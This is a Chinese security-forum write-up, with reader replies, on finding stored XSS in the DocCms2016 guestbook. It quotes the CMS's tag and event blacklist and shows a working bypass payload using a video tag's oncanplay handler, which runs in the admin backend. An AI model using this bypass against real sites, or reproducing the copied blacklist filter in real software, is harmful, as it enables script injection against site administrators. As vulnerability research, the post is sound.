用户
搜索
  • TA的每日心情

    2018-1-30 11:45
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋-脚本小子

    Rank: 2

    2

    主题

    12

    帖子

    76

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2017-3-14
    发表于 2017-8-5 17:08:47 912947
    一个闲的蛋疼的周末,总想搞点事情,于是在网上找到了个cms系统,得挖出点什么来,嘿嘿
    01.png
    http://www.doccms.com/DocCms2016/
    下载完安装后,默认前台交互处少的可怜,只有一个在线留言处,既然有在线留言,我想你们跟我一样,都想到了insert注入和储存型XSS,可惜注入经过多次测试发现被完全过滤死了。只能玩玩XSS。
    0.png
    像往常一样输入XSS代码然后进入后台查看过滤了哪些
    001.png
    后台查看源代码
    08.png
    我们插入的代码是
    [JavaScript] 纯文本查看 复制代码
    <script>alert(0)</script>

    程序过滤后是:
    [JavaScript] 纯文本查看 复制代码
    <sc<x>ript>alert(0)</sc<x>ript> 

    那么我们看下程序是如何过滤的:
    [PHP] 纯文本查看 复制代码
      //inc/function.php 505-507行
        $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 
        $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); 
        $ra = array_merge($ra1, $ra2);

    $ra1定义的过滤标签,可以看到常见的script,iframe,link都在其中

    $ra2定义的过滤事件,喜闻乐见的onclick,ondblclick,oncopy也都被过滤掉了。

    把上面随便一句代码复制到搜索引擎,你会发现这整个过滤函数都是在程序员无脑copy的

    09.png
    那么到底能不能绕过呢?
    答案是肯定能绕过的,我大JavaScript岂止这些事件?经过fuzz后,还有这些关键字没被过滤掉
    00-.png
    此时oncanplay事件是无疑是最好的,因为他无需交互,打开直接执行代码,并支持所有浏览器
    -0.png
    ncanplay事件为当在视频(video)准备开始播放时执行
    此事件需要配合video标签,巧的是在$ra1中,video标签也没被过滤
    [JavaScript] 纯文本查看 复制代码
    $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');

    那么构造出Payload:
    [JavaScript] 纯文本查看 复制代码
    <video width="0" height="0" oncanplay=alert`0`>
    	<source src="http://www.runoob.com/try/demo_source/mov_bbb.mp4" type="video/mp4">
    </video>

    再次尝试:
    --.png
    进入后台查看留言处
    --=.png
    查看源代码:
    0-.png

    原文链接:https://zhuanlan.zhihu.com/p/28330833




    评分

    参与人数 2积分 +5 魔法币 +8 收起 理由
    机械鸥 + 3 感谢发布原创作品,i春秋论坛因你更精彩!.
    wyldlmu + 5 + 5

    查看全部评分

    发表于 2017-8-5 18:25:35
    前排围观。
    静静的看你们装逼
    使用道具 举报 回复
    二排围观
    使用道具 举报 回复
    怎么模糊测试的,脚本能发一下吗
    使用道具 举报 回复
    四排围观
    使用道具 举报 回复
    发表于 2017-8-8 10:32:37
    表哥,我想学fuzz
    使用道具 举报 回复
    发表于 2017-8-10 09:59:46
    学习思路
    使用道具 举报 回复
    发表于 2017-8-17 09:56:18
    嗯,思路学习了
    使用道具 举报 回复
    发表于 2017-10-3 15:01:48
    围观学习!
    用代码将梦想照进现实!
    使用道具 举报 回复
    发表于 2017-10-20 10:21:38
    学习思路了,谢谢楼主分享。
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册